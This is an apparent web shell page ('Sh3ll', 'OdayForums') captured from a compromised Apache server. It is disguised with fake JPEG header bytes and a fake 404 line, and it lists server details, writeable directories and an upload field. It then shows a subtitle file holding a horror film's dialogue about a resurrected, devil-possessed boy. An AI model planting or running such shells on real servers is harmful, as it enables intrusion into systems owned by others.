����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c8c842edaa33-1552712750.vtt
WEBVTT - https://subtitletools.com

00:01:18.543 --> 00:01:19.744
He's coming!

00:01:19.778 --> 00:01:21.114
He's coming!

00:01:28.287 --> 00:01:29.322
Father.

00:01:30.221 --> 00:01:31.356
Jeremy.

00:01:32.525 --> 00:01:34.493
Have you come to
pray for me, Father?

00:01:36.262 --> 00:01:37.664
God can't help you.

00:01:45.771 --> 00:01:47.606
You think you
can trap me here?

00:01:47.640 --> 00:01:50.876
Deliver this boy from all
sin, from hatred and anger.

00:01:50.909 --> 00:01:52.177
What are you doing?

00:01:52.210 --> 00:01:54.713
From lightning and tempest,

00:01:54.746 --> 00:01:56.682
from plague and damnation,
I deliver you!

00:01:58.650 --> 00:01:59.585
Begone, devil!

00:02:03.454 --> 00:02:05.423
Tremble under
the powerful hand of God.

00:02:05.456 --> 00:02:07.626
Cower in the sight
of His glory.

00:02:15.300 --> 00:02:18.170
You have no power
over me, old man.

00:02:18.804 --> 00:02:20.507
This is sacred ground.

00:02:21.606 --> 00:02:24.544
It is you without the power.

00:02:29.981 --> 00:02:33.252
Your precious
sanctuary won't save you!

00:02:33.284 --> 00:02:34.954
Leave him, unholy one.

00:02:34.986 --> 00:02:36.688
Leave with all
your wickedness!

00:02:50.536 --> 00:02:52.972
Do you renounce
the power of evil?

00:02:53.004 --> 00:02:55.174
Father, please have mercy.

00:02:56.342 --> 00:02:58.511
Do you renounce
the power of evil?

00:03:01.312 --> 00:03:05.518
Do you renounce
the power of evil?

00:03:07.853 --> 00:03:09.656
Please don't hurt me, Father.

00:03:11.956 --> 00:03:15.460
Do you renounce
the power of evil?

00:03:17.596 --> 00:03:18.463
No!

00:03:30.709 --> 00:03:36.449
Saint Michael, our Archangel,
defend us in this day of battle.

00:03:36.481 --> 00:03:39.752
Be our safeguard against the
wickedness and snares of the devil.

00:03:59.781 --> 00:04:04.614
OMINOUS

00:04:05.529 --> 00:04:08.529
Subrip: Pix

00:04:11.783 --> 00:04:13.418
Michael!

00:04:13.451 --> 00:04:15.020
Do I have to
stay with Sofia?

00:04:15.054 --> 00:04:16.355
It's only for
a couple of hours.

00:04:16.387 --> 00:04:18.056
We won't be long, I promise.

00:04:18.089 --> 00:04:19.291
I made you something.

00:04:19.324 --> 00:04:20.725
What's this?

00:04:20.759 --> 00:04:22.995
It's you getting your award.

00:04:25.331 --> 00:04:26.366
Thank you, sweetheart.

00:04:31.569 --> 00:04:33.272
You haven't seen my brooch
anywhere, have you?

00:04:34.072 --> 00:04:35.674
Michael, we're
going to be late!

00:04:36.074 --> 00:04:37.409
I'm here.

00:04:37.442 --> 00:04:38.543
Didn't hear me calling you?

00:04:38.576 --> 00:04:40.312
I didn't. I'm sorry.

00:04:40.346 --> 00:04:41.547
Hey, what's this?

00:04:42.814 --> 00:04:45.350
It's a card.
Jacob made it for me.

00:04:45.384 --> 00:04:46.386
I didn't get one?

00:04:47.019 --> 00:04:47.887
You're not getting an award.

00:04:48.553 --> 00:04:49.521
Touche.

00:04:49.555 --> 00:04:50.689
Have a good time.

00:04:50.723 --> 00:04:53.025
I'll keep Jacob in line while
you're gone. Right, kiddo?

00:04:54.860 --> 00:04:56.395
Your fly.

00:04:59.031 --> 00:05:01.701
Will you read me a bedtime
story when you get home?

00:05:01.733 --> 00:05:06.572
You mean something like "Wee Willie
Winkie runs through the town?

00:05:06.605 --> 00:05:08.674
"Upstairs, downstairs,
in his nightgown!

00:05:08.706 --> 00:05:09.675
-Michael.
-"Tapping at the window,

00:05:09.708 --> 00:05:11.544
"Crying through the lock.

00:05:11.576 --> 00:05:13.812
"Are all the children in their beds?
It's past 8 o'clock"

00:05:13.846 --> 00:05:14.781
Michael!

00:05:20.017 --> 00:05:21.586
What do you want for dinner?

00:05:22.120 --> 00:05:24.089
Ice cream.

00:05:24.122 --> 00:05:25.658
Chicken nuggets it is.

00:05:28.127 --> 00:05:29.362
What's wrong, boy?

00:05:41.139 --> 00:05:42.807
Don't worry.

00:05:42.841 --> 00:05:44.744
If we take the freeway, we
should get there in time.

00:05:44.776 --> 00:05:46.812
How long has it
been going on?

00:05:46.845 --> 00:05:47.947
I have no idea what
you're talking about.

00:05:47.980 --> 00:05:48.781
Don't.

00:05:50.615 --> 00:05:52.485
Rachel, it's a big night.

00:05:52.517 --> 00:05:54.887
-Whatever it is, I'm sure it can wait.
-We need to talk.

00:05:54.920 --> 00:05:56.422
Hon, we're gonna be late.

00:05:56.423 --> 00:05:57.923
Just answer the question.

00:05:57.956 --> 00:05:58.958
How long?

00:06:00.625 --> 00:06:02.928
Please, not now.
Not tonight.

00:06:14.005 --> 00:06:15.607
My God! Jacob!

00:06:15.641 --> 00:06:16.876
He's supposed to
be in the house.

00:06:16.908 --> 00:06:18.009
Call 911!

00:06:18.043 --> 00:06:18.978
I am, I am.

00:06:21.747 --> 00:06:22.982
Yes, I need
an ambulance immediately

00:06:23.014 --> 00:06:24.483
to 508 Hapgood Way.

00:06:24.516 --> 00:06:26.085
My son's been hit by a car.

00:06:26.117 --> 00:06:26.918
He's seven.

00:06:34.059 --> 00:06:36.896
He's got difficulty breathing, rapid
heart rate, unstable vital signs.

00:06:36.928 --> 00:06:39.631
Tell Dr. Stubeck
we've got a hot unload.

00:06:39.665 --> 00:06:41.434
-What have we got?
-Seven-year-old male.

00:06:41.466 --> 00:06:42.467
Possible punctured lung.

00:06:42.500 --> 00:06:43.468
Get him on the table.

00:06:43.502 --> 00:06:45.037
Get me an amp of epi.

00:06:45.069 --> 00:06:45.937
He's going in to V-fib.

00:06:47.839 --> 00:06:48.540
He's unstable.

00:06:51.476 --> 00:06:52.844
We need to start compressions.

00:06:52.877 --> 00:06:53.545
Get me a cart over here!

00:07:08.961 --> 00:07:09.762
Where the hell is that epi?

00:07:11.963 --> 00:07:13.499
We're losing him.

00:07:14.533 --> 00:07:16.035
Losing pulse.

00:07:16.067 --> 00:07:17.469
Charging to 120.

00:07:18.036 --> 00:07:18.971
Clear.

00:07:21.173 --> 00:07:22.942
Get me another amp of epi.

00:07:22.975 --> 00:07:24.444
Clear.

00:07:53.939 --> 00:07:54.874
Call it.

00:09:02.941 --> 00:09:05.076
You're gonna have to
say something eventually.

00:09:07.613 --> 00:09:08.681
Rachel?

00:09:14.720 --> 00:09:17.657
For crying out loud, we're
coming from our son's funeral.

00:09:19.124 --> 00:09:20.091
Please.

00:09:23.894 --> 00:09:24.829
Fine.

00:09:25.964 --> 00:09:26.966
Michael!

00:09:28.734 --> 00:09:30.636
What the hell
is the matter with you?

00:09:30.668 --> 00:09:31.669
It just came out of nowhere.

00:09:31.702 --> 00:09:33.038
Right!

00:09:33.071 --> 00:09:34.706
You know what?

00:09:34.740 --> 00:09:36.709
-Why don't you just say it?
-Say what?

00:09:36.741 --> 00:09:38.711
That you blame me for Jacob.

00:09:39.677 --> 00:09:40.745
Do you?

00:09:41.712 --> 00:09:42.847
It was an accident, Rachel.

00:09:44.982 --> 00:09:45.850
Were you drinking?

00:09:46.851 --> 00:09:48.721
Is that what you think?

00:09:48.754 --> 00:09:51.956
I had one drink that night while
I was getting ready. One.

00:09:51.990 --> 00:09:53.341
It's never just one.

00:09:53.342 --> 00:09:54.692
No, I wasn't drunk, Rachel!

00:09:54.725 --> 00:09:56.061
-Yeah, right.
-Come on!

00:10:15.714 --> 00:10:16.782
It's in pain.

00:10:16.815 --> 00:10:17.783
Well, call a vet.

00:10:24.089 --> 00:10:25.091
Michael, you can't.

00:10:33.398 --> 00:10:35.167
We can't just leave it here.

00:10:42.139 --> 00:10:43.975
Stay here.
I'll be right back.

00:10:50.816 --> 00:10:51.951
Can I help you?

00:10:54.152 --> 00:10:56.788
Actually, I was
hoping I could help you.

00:10:56.822 --> 00:10:58.289
It's been a really bad day.

00:10:58.322 --> 00:10:59.857
What's he want?

00:10:59.890 --> 00:11:02.193
Would you like to
have your son back?

00:11:05.464 --> 00:11:08.100
What did he say?

00:11:08.133 --> 00:11:09.551
I asked you if...

00:11:09.552 --> 00:11:10.969
Yeah. I heard what you said.

00:11:11.001 --> 00:11:12.804
Now I'm asking you to leave.

00:11:14.239 --> 00:11:18.144
All I'm asking is that you
promise to protect the boy.

00:11:18.943 --> 00:11:20.211
Protect him from what?

00:11:20.245 --> 00:11:21.947
Did you hear me?

00:11:21.980 --> 00:11:24.015
Small price to pay, isn't it?

00:11:24.048 --> 00:11:25.918
For the life of your son?

00:11:25.951 --> 00:11:27.418
-Okay, that's it.
-Michael.

00:11:27.451 --> 00:11:28.953
Bring the body back here.

00:11:30.087 --> 00:11:31.923
I'll take care of
everything else.

00:11:33.057 --> 00:11:35.259
Good day to you.

00:12:43.394 --> 00:12:46.298
I can't believe
you're even thinking about it.

00:12:47.999 --> 00:12:49.168
It came
back to life, Michael.

00:12:50.368 --> 00:12:51.170
Yes.

00:12:53.437 --> 00:12:55.106
But digging up our son's body?

00:12:56.841 --> 00:12:58.043
Handing it over
to some stranger?

00:12:58.943 --> 00:13:00.145
It's insane.

00:13:01.413 --> 00:13:02.447
Yeah, it is.

00:13:02.480 --> 00:13:03.816
Thank you.

00:13:05.049 --> 00:13:06.885
What have we got to lose?

00:13:08.320 --> 00:13:11.089
Listen to yourself!

00:13:11.121 --> 00:13:14.058
Are you honestly willing
to go out there right now

00:13:14.091 --> 00:13:15.961
and dig up Jacob's grave?

00:13:17.895 --> 00:13:20.165
Because I know I'm not.

00:14:02.173 --> 00:14:03.107
Get down, get down.

00:14:15.986 --> 00:14:17.222
It's clear. Come on.

00:15:25.056 --> 00:15:26.292
It's gonna be okay, boy.

00:15:30.361 --> 00:15:31.930
What have we done?

00:15:32.596 --> 00:15:34.165
Everything we could.

00:15:36.400 --> 00:15:38.136
Thanks. For trying.

00:15:54.586 --> 00:15:56.087
Wait downstairs.

00:17:05.289 --> 00:17:06.758
Bad dream?

00:17:06.790 --> 00:17:07.525
Yeah.

00:17:24.709 --> 00:17:26.345
Hi, Mommy. Hi, Daddy.

00:17:35.319 --> 00:17:36.554
What is it, Mommy?
What's wrong?

00:17:36.587 --> 00:17:37.822
Nothing.

00:17:37.855 --> 00:17:39.223
Just so glad to see you.

00:17:39.257 --> 00:17:40.725
It's really him.

00:17:40.758 --> 00:17:41.692
Of course it is.

00:17:41.726 --> 00:17:43.095
It's our son.

00:17:47.531 --> 00:17:48.666
What's wrong, boy?

00:17:57.642 --> 00:17:58.644
Bruce?

00:17:59.410 --> 00:18:00.579
Bruce!

00:18:22.834 --> 00:18:23.568
I've had my demons.

00:18:27.337 --> 00:18:29.641
I drank, I cheated on my wife.

00:18:30.642 --> 00:18:31.677
But...

00:18:32.777 --> 00:18:34.813
Three months ago,

00:18:34.846 --> 00:18:36.515
I got a second chance.

00:18:37.582 --> 00:18:40.586
We moved to a new town,
a new house.

00:18:42.653 --> 00:18:44.655
And you know what?
We're better.

00:18:48.292 --> 00:18:49.660
I'm not drinking anymore.

00:18:51.729 --> 00:18:54.133
My wife and I are
closer than ever.

00:18:55.866 --> 00:18:57.336
And my son...

00:19:05.343 --> 00:19:09.413
I feel like I
got my family back.

00:19:34.939 --> 00:19:36.541
You pretending
to be asleep?

00:19:36.574 --> 00:19:37.776
Nope.

00:19:37.808 --> 00:19:40.244
You want to fool around
before he wakes up?

00:19:40.278 --> 00:19:42.213
Yep.

00:19:46.750 --> 00:19:47.818
Good morning.

00:19:47.852 --> 00:19:49.554
Hello to me.

00:19:57.561 --> 00:19:58.963
-Michael.
-What?

00:19:58.997 --> 00:20:00.498
-Michael.
-What?

00:20:00.530 --> 00:20:01.365
-He's here.
-Who?

00:20:01.398 --> 00:20:02.433
Look.

00:20:03.968 --> 00:20:05.771
Hey. How long you been
standing there, buddy?

00:20:06.637 --> 00:20:07.838
I'm hungry.

00:20:07.872 --> 00:20:08.974
Can you make pancakes?

00:20:09.007 --> 00:20:11.343
Sure. Be right there.

00:20:34.965 --> 00:20:36.700
Look at him.

00:20:36.733 --> 00:20:38.603
He's like
a perfect little angel.

00:20:40.805 --> 00:20:42.874
You know, this is what I
thought it would be like

00:20:42.906 --> 00:20:44.609
when we were first married.

00:20:45.042 --> 00:20:46.377
Me, too.

00:20:50.815 --> 00:20:52.317
Have we unpacked
the spatula yet?

00:20:52.784 --> 00:20:53.819
Let me look.

00:20:56.653 --> 00:20:58.757
You know, I was thinking.

00:20:58.789 --> 00:21:00.291
We should go to
church tomorrow.

00:21:01.326 --> 00:21:02.394
Church?

00:21:03.493 --> 00:21:04.728
Yeah, why not?

00:21:04.761 --> 00:21:06.697
Got a new name,
new house, new car.

00:21:09.500 --> 00:21:10.769
New beginnings.

00:21:12.336 --> 00:21:13.605
Sounds perfect.

00:21:15.472 --> 00:21:17.675
Me like mine
with blueberries.

00:21:17.709 --> 00:21:19.544
So demanding.

00:21:24.682 --> 00:21:26.585
-Tell Jacob breakfast is almost ready.
-Okay.

00:21:54.846 --> 00:21:56.080
Jacob!

00:21:56.114 --> 00:21:57.883
Mom says
breakfast is almost ready.

00:22:01.818 --> 00:22:02.753
Jacob?

00:22:03.855 --> 00:22:04.890
You out here?

00:22:08.726 --> 00:22:09.661
Jacob!

00:22:10.928 --> 00:22:11.830
Boo!

00:22:13.163 --> 00:22:15.967
Gotcha.

00:22:16.000 --> 00:22:18.369
Come on, it's time to get
in the house for breakfast.

00:22:18.403 --> 00:22:19.471
Okay.

00:22:50.434 --> 00:22:52.736
"Wee Willie Winkie
runs through the town

00:22:52.769 --> 00:22:56.407
"Upstairs, downstairs,
in his nightgown

00:22:56.441 --> 00:22:59.576
"Tapping at the window
Crying through the lock

00:22:59.609 --> 00:23:02.546
"Are all the kids in their beds?
It's past 8 o'clock"

00:23:03.548 --> 00:23:05.916
I know I'm not
like other kids.

00:23:05.950 --> 00:23:08.019
I just don't know what
I'm supposed to do.

00:23:08.051 --> 00:23:10.721
I feel different sometimes.

00:23:12.022 --> 00:23:14.558
You make me feel better.

00:23:14.592 --> 00:23:17.061
You always were
a good mother, Rachel.

00:23:17.094 --> 00:23:18.697
Sorry, were you
talking to me?

00:23:22.133 --> 00:23:23.835
Is something wrong, Daddy?

00:23:23.867 --> 00:23:25.169
Who were you talking to?

00:23:25.170 --> 00:23:26.471
Myself.

00:23:26.503 --> 00:23:27.405
I saw someone
in here with you.

00:23:29.574 --> 00:23:30.776
There's no one here.

00:23:32.710 --> 00:23:33.577
Michael?

00:23:34.644 --> 00:23:36.514
There was someone here.

00:24:12.884 --> 00:24:14.586
I swear I saw something.

00:24:14.618 --> 00:24:16.020
Hasn't he
been through enough?

00:24:17.188 --> 00:24:18.623
I'm not making this up.

00:24:18.655 --> 00:24:20.224
What's going on
with you, Michael?

00:24:20.258 --> 00:24:21.526
Let's talk about this.

00:24:21.558 --> 00:24:22.793
There's
nothing to talk about.

00:24:29.267 --> 00:24:31.036
There. They're gone now.

00:24:31.836 --> 00:24:33.505
So, where were we?

00:24:44.915 --> 00:24:48.486
The devil, Satan,
Lucifer, Beelzebub.

00:24:49.619 --> 00:24:52.957
Often symbolic of
man's fall from grace.

00:24:55.792 --> 00:24:57.761
The Bible calls
him by many names.

00:25:00.730 --> 00:25:03.501
How can one not realize

00:25:05.836 --> 00:25:09.106
that not only is the devil
real, but he is thriving?

00:25:11.174 --> 00:25:14.778
Strife in the Middle East,
disease in Africa,

00:25:16.079 --> 00:25:18.649
families being
washed away by floods.

00:25:20.116 --> 00:25:22.586
His influence can
be felt everywhere,

00:25:24.255 --> 00:25:28.059
constantly tempting all of
humanity to betray one another

00:25:30.595 --> 00:25:31.829
to commit sin.

00:25:37.034 --> 00:25:40.138
As Jesus said in
1 John, chapter 3.

00:25:42.306 --> 00:25:44.142
"Let no one be led astray.

00:25:46.777 --> 00:25:48.947
"The one who sins
is of the devil.

00:25:52.016 --> 00:25:55.086
"That is how we know
who the children of God are

00:25:56.787 --> 00:25:59.024
"and who are
the children of the devil."

00:26:01.726 --> 00:26:02.827
Jacob? Jacob,
are you okay?

00:26:02.859 --> 00:26:03.994
Michael, what's wrong?

00:26:04.028 --> 00:26:04.996
You're the doctor.

00:26:06.096 --> 00:26:07.598
"Anyone...

00:26:09.099 --> 00:26:10.601
"Anyone who does not...

00:26:14.204 --> 00:26:17.708
"Any... Anyone who
does not know what right is...

00:26:17.741 --> 00:26:19.711
-Is it a seizure?
-I don't know.

00:26:21.345 --> 00:26:24.048
You have... You have to rid
yourself of the devil!

00:26:25.950 --> 00:26:28.219
"Anyone who does not
know what is right...

00:26:28.251 --> 00:26:29.386
Jacob!

00:26:29.420 --> 00:26:30.721
"...is not God's child!"

00:26:41.132 --> 00:26:42.200
We need to get
him out of here!

00:26:49.874 --> 00:26:50.842
Go.

00:27:01.419 --> 00:27:02.687
What's wrong with him?

00:27:02.720 --> 00:27:03.855
I have no idea.

00:27:05.321 --> 00:27:06.823
Put me down!

00:27:06.856 --> 00:27:08.425
-Get the car. Get the door.
-Let go of me!

00:27:08.459 --> 00:27:09.995
Stop it!

00:27:10.760 --> 00:27:12.262
Jacob!

00:27:12.296 --> 00:27:13.865
Let me see. Michael!

00:27:13.897 --> 00:27:15.766
It's fine. Let's just go.

00:27:48.965 --> 00:27:50.300
Father, are you okay?
Are you hurt?

00:27:50.334 --> 00:27:51.736
What was that?

00:27:56.740 --> 00:27:58.175
That was a warning.

00:28:43.988 --> 00:28:45.856
Hey, it's not your fault.

00:28:49.359 --> 00:28:50.794
You tried to save him.

00:28:50.827 --> 00:28:52.196
You were the only one.

00:28:54.431 --> 00:28:57.067
Look, I know you've
been trying really hard.

00:28:57.101 --> 00:28:59.771
You have us. Isn't that
what really matters?

00:29:02.138 --> 00:29:03.273
I'll be fine.

00:29:18.355 --> 00:29:19.289
Hey!

00:30:20.183 --> 00:30:21.920
Why were you watching me?

00:30:22.987 --> 00:30:24.389
Please take a seat,
Mr. Young.

00:30:33.631 --> 00:30:36.567
How'd you know that name?

00:30:36.599 --> 00:30:40.971
I know a lot of things about
you, your wife, your son.

00:30:45.576 --> 00:30:47.312
You're probably thinking
you made a mistake, right?

00:30:50.114 --> 00:30:51.982
Are you a man
of faith, Michael?

00:30:53.983 --> 00:30:55.352
Occasionally.

00:30:57.453 --> 00:31:01.291
Well, when you've seen the things I
have, you realize that a crucifix

00:31:01.325 --> 00:31:03.661
is just two
pieces of crossed wood.

00:31:03.693 --> 00:31:05.128
Holy water,

00:31:06.497 --> 00:31:07.999
regular H2O.

00:31:11.535 --> 00:31:13.104
The real power

00:31:15.405 --> 00:31:16.206
is in the devil.

00:31:18.008 --> 00:31:20.577
What if I told you
he could be reborn?

00:31:20.611 --> 00:31:23.147
If the right opportunity
presented itself.

00:31:25.148 --> 00:31:28.518
Like a recently
deceased young boy?

00:31:28.551 --> 00:31:31.021
Two loving,
desperate parents willing

00:31:31.055 --> 00:31:33.524
to do anything to
get their son back?

00:31:33.557 --> 00:31:37.996
Are you suggesting the devil is
responsible for bringing my son back?

00:31:39.963 --> 00:31:42.700
I'm suggesting that
the son you got back

00:31:42.732 --> 00:31:44.269
is the devil.

00:31:50.039 --> 00:31:51.474
This is a mistake.
I shouldn't have come here.

00:31:51.508 --> 00:31:54.010
So a complete stranger
pops out of nowhere

00:31:54.044 --> 00:31:56.647
and offers to bring your
son back from the dead?

00:31:56.680 --> 00:31:57.515
Come on.

00:31:58.749 --> 00:32:01.152
You don't find
that a little odd?

00:32:01.184 --> 00:32:04.422
You don't see the catch?

00:32:04.454 --> 00:32:07.057
You think what happened at the
church this morning was an accident?

00:32:13.596 --> 00:32:15.598
You think Jacob had
something to do with that?

00:32:17.201 --> 00:32:18.568
As long as that boy lives...

00:32:18.602 --> 00:32:19.704
What do you mean "lives"?

00:32:19.737 --> 00:32:22.306
Not you, not your wife,

00:32:22.338 --> 00:32:25.208
not anyone you care
or love will be safe.

00:32:25.241 --> 00:32:27.510
This is my son
we're talking about.

00:32:27.544 --> 00:32:28.346
It is not your son!

00:32:42.593 --> 00:32:43.494
What's this?

00:32:47.730 --> 00:32:49.567
He was barely 10-years-old

00:32:49.599 --> 00:32:51.336
the day he chased his ball
into the middle of the street.

00:32:53.237 --> 00:32:55.105
I ran after him,
but it was too late.

00:32:57.240 --> 00:33:00.310
He was hit by a van.
He died instantly.

00:33:00.344 --> 00:33:03.547
The next day, a man came
to visit his mother and I.

00:33:03.579 --> 00:33:05.115
This is your son?

00:33:06.150 --> 00:33:08.652
He offered us
a chance to...

00:33:08.684 --> 00:33:10.288
To bring Jeremy back.

00:33:12.355 --> 00:33:15.159
But it didn't take
long for me to realize

00:33:16.125 --> 00:33:18.028
that it wasn't Jeremy.

00:33:19.296 --> 00:33:24.001
It was something else.
He'd become something.

00:33:24.667 --> 00:33:26.636
I don't know. I got lost.

00:33:26.670 --> 00:33:29.140
I was struggling for
an answer. I was scared.

00:33:31.674 --> 00:33:33.443
So I joined the church.

00:33:34.811 --> 00:33:36.413
And the Lord...

00:33:36.446 --> 00:33:38.681
The Lord showed me
what had to be done.

00:33:38.714 --> 00:33:40.617
You did this?

00:33:40.651 --> 00:33:43.531
-I did what I had to do.
-You killed your son.

00:33:43.532 --> 00:33:45.556
No, I killed the devil
who looked like my son.

00:33:48.125 --> 00:33:50.560
Jacob has to be stopped
at all costs, Mr. Young.

00:33:52.096 --> 00:33:53.798
And only the boy's
father can do it.

00:33:53.830 --> 00:33:56.299
Only you can stop Jacob
before it's too late.

00:33:56.866 --> 00:33:59.603
You are out of your mind!

00:33:59.635 --> 00:34:02.239
I understand what
you're going through.

00:34:02.271 --> 00:34:03.840
It'll only get worse,
I promise you.

00:34:03.874 --> 00:34:05.610
If Jacob matures,

00:34:09.146 --> 00:34:10.248
God help us all.

00:34:12.516 --> 00:34:14.085
For your coffee.

00:34:26.597 --> 00:34:27.465
Jacob?

00:34:41.210 --> 00:34:42.346
Jacob?

00:35:19.583 --> 00:35:20.518
Jacob?

00:35:46.443 --> 00:35:50.348
"Tapping at the window
And crying through the lock

00:35:52.215 --> 00:35:54.418
"Are all the children
in their beds?

00:35:55.385 --> 00:35:57.288
"It's past 8 o'clock"

00:36:08.831 --> 00:36:10.900
I... I have to go. I'm sorry.

00:36:10.934 --> 00:36:11.936
What the hell, man? Hey!

00:36:11.969 --> 00:36:13.436
What are you doing?

00:36:18.875 --> 00:36:20.510
Hey, hey, hey.

00:36:20.543 --> 00:36:22.445
Hey. Say hi to Mom. Say hello.

00:36:22.478 --> 00:36:23.913
-Hi, Mommy!
-Hi.

00:36:29.385 --> 00:36:30.554
Go on, go on. Good!

00:37:19.969 --> 00:37:21.404
What are you
doing out here?

00:37:21.438 --> 00:37:23.273
I was...

00:37:23.306 --> 00:37:26.342
I was just on my phone.

00:37:26.376 --> 00:37:27.445
Can we have
pizza for dinner?

00:37:27.943 --> 00:37:29.246
Sure, yeah.

00:37:35.686 --> 00:37:37.622
I can't believe
he did that.

00:37:38.021 --> 00:37:40.658
What did he say?

00:37:40.690 --> 00:37:43.559
He just wanted to make
sure Jacob was okay.

00:37:43.592 --> 00:37:45.428
And what did you tell him?

00:37:45.461 --> 00:37:47.864
I don't know. I...

00:37:47.898 --> 00:37:51.869
I mean, last night in the
room, and then the church.

00:37:51.902 --> 00:37:56.507
You have to admit, he hasn't been
the same since he came back.

00:37:56.539 --> 00:37:57.807
I can
hardly blame him

00:37:57.840 --> 00:37:59.476
after everything
he's been through.

00:37:59.509 --> 00:38:02.512
I knew things would be
different for a while,

00:38:02.545 --> 00:38:04.381
but these last couple days...

00:38:06.916 --> 00:38:08.751
Maybe we should take
Jacob to a specialist.

00:38:08.784 --> 00:38:10.887
-You mean a shrink?
-No, I mean someone to talk to.

00:38:10.920 --> 00:38:14.791
Someone who can tell us if there's,
you know, something wrong.

00:38:14.824 --> 00:38:17.660
What happens when the specialist
figures out who he is?

00:38:18.695 --> 00:38:20.664
Fifty people at his funeral.

00:38:21.431 --> 00:38:22.566
We had to leave everything

00:38:22.599 --> 00:38:24.468
-and everyone behind.
-I know.

00:38:24.501 --> 00:38:27.004
We have a new life,
a new home.

00:38:27.036 --> 00:38:29.339
Can't just keep running.

00:38:29.373 --> 00:38:31.342
We promised to protect him.

00:38:31.974 --> 00:38:33.310
I know.

00:38:35.778 --> 00:38:37.815
I thought
you were doing better.

00:38:37.847 --> 00:38:40.116
I thought the meetings
were helping.

00:38:40.150 --> 00:38:42.353
What does that have
to do with anything?

00:38:42.385 --> 00:38:44.054
You know exactly
what I'm talking about.

00:38:44.086 --> 00:38:45.690
You weren't
exactly there for him.

00:38:46.856 --> 00:38:47.858
Or me.

00:38:51.827 --> 00:38:53.797
We were having trouble.

00:38:53.829 --> 00:38:55.932
Our marriage
was falling apart.

00:38:59.168 --> 00:39:01.471
And we're better now.

00:39:02.105 --> 00:39:05.041
I'm better now.

00:39:05.074 --> 00:39:08.378
But what's happening with
Jacob, this is something else.

00:39:11.981 --> 00:39:14.150
Jacob, honey?

00:39:14.184 --> 00:39:16.620
How long have you
been standing there?

00:39:17.420 --> 00:39:19.822
Daddy?

00:39:19.856 --> 00:39:21.492
Why did you kill me?

00:39:26.563 --> 00:39:27.664
Don't.

00:39:38.708 --> 00:39:40.744
How's he doing
this morning?

00:39:40.777 --> 00:39:42.746
Better.

00:39:42.778 --> 00:39:45.114
We're going to the park later.
You want to come?

00:39:45.148 --> 00:39:47.418
I think I'm gonna hit up
a couple temp agencies.

00:39:47.451 --> 00:39:48.719
-Mind if I take the car?
-No.

00:39:48.751 --> 00:39:50.019
I could use the fresh air.

00:39:50.052 --> 00:39:50.987
Go get 'em.

00:39:52.789 --> 00:39:53.758
I will.

00:39:56.525 --> 00:39:57.661
Bye, Jacob.

00:41:07.264 --> 00:41:08.999
How come Daddy didn't come?

00:41:09.032 --> 00:41:10.567
He had an interview.

00:41:10.599 --> 00:41:11.735
Is he getting a job?

00:41:11.768 --> 00:41:12.936
I certainly hope so.

00:41:17.606 --> 00:41:18.842
Can we get a cat?

00:41:18.875 --> 00:41:19.876
No, honey.

00:41:22.311 --> 00:41:23.746
How come?

00:41:23.780 --> 00:41:25.516
Your father's allergic.
You know that.

00:41:26.750 --> 00:41:28.786
Can we get one
when Daddy dies?

00:41:30.887 --> 00:41:31.755
Mrs. Field.

00:41:35.157 --> 00:41:37.293
You go ahead and play.
Mommy will be right there.

00:41:37.327 --> 00:41:38.829
-Okay.
-I'll hold that.

00:41:46.635 --> 00:41:49.038
How'd you find us?

00:41:49.072 --> 00:41:51.041
Don't be alarmed.

00:41:51.074 --> 00:41:53.777
I just wanted to see
how things were coming along.

00:41:57.179 --> 00:41:59.817
What a fine,
young, handsome boy.

00:42:01.184 --> 00:42:02.620
So innocent.

00:42:03.753 --> 00:42:04.688
Pure.

00:42:05.889 --> 00:42:08.125
My husband's
concerned about him.

00:42:08.157 --> 00:42:10.726
Thinks we should take him
to see a specialist.

00:42:10.760 --> 00:42:12.763
What do you think?

00:42:12.795 --> 00:42:14.531
He's a seven-year-old boy.

00:42:16.166 --> 00:42:18.635
Moved to a new home,
a strange new town.

00:42:20.269 --> 00:42:22.072
I'd be alarmed if he wasn't
feeling a little awkward.

00:42:24.239 --> 00:42:26.142
Well, Jacob's
an extraordinary child.

00:42:27.710 --> 00:42:29.712
As with many
extraordinary children,

00:42:29.746 --> 00:42:33.050
you'll find that some people take
an unusual interest in them.

00:42:34.751 --> 00:42:35.719
You mean hurt him?

00:42:37.786 --> 00:42:40.657
You have to remember,
Rachel, Jacob is a miracle.

00:42:42.358 --> 00:42:45.862
He needs your love and devotion
if he's to live a normal life.

00:42:52.068 --> 00:42:54.705
Promise me you'll
continue to protect him.

00:42:55.838 --> 00:42:56.974
-Of course.
-At all costs.

00:42:59.342 --> 00:43:02.079
Even from those
who are close to him.

00:43:06.115 --> 00:43:07.117
I promise.

00:43:08.284 --> 00:43:10.686
I'm gonna give
you an address.

00:43:10.719 --> 00:43:14.724
If things become difficult, you
and Jacob will always be welcome.

00:43:21.431 --> 00:43:23.166
Jacob? Jacob?

00:43:24.367 --> 00:43:25.202
Jacob?

00:43:57.032 --> 00:43:59.201
-Hey, what do you think you're doing?
-I was waiting.

00:43:59.235 --> 00:44:01.405
Why don't you go back
to where you came from?

00:44:01.438 --> 00:44:03.407
-Yeah, we don't want you here.
-Get lost.

00:44:03.440 --> 00:44:05.142
Leave me alone.

00:44:28.731 --> 00:44:31.034
That's right, go home
to Mommy and cry.

00:44:50.487 --> 00:44:52.923
What's going on?
Is he doing that?

00:45:01.498 --> 00:45:04.300
You've
got to be kidding me.

00:45:06.369 --> 00:45:07.838
What the hell is
going on out there?

00:45:12.375 --> 00:45:15.112
We were just kidding.
We didn't mean it.

00:45:15.144 --> 00:45:16.780
-I think we better get out of here.
-Let's go.

00:45:25.255 --> 00:45:27.190
Can anybody hear me?

00:45:27.222 --> 00:45:28.925
Hello?

00:45:49.445 --> 00:45:51.213
Please!

00:45:51.246 --> 00:45:52.215
Somebody, help me!

00:46:11.900 --> 00:46:13.136
Open! Please!

00:46:14.070 --> 00:46:15.038
Somebody, help me!

00:46:24.380 --> 00:46:25.382
Go, go, go.

00:46:26.282 --> 00:46:27.151
Run home.

00:46:40.963 --> 00:46:42.965
Jacob? Jacob?

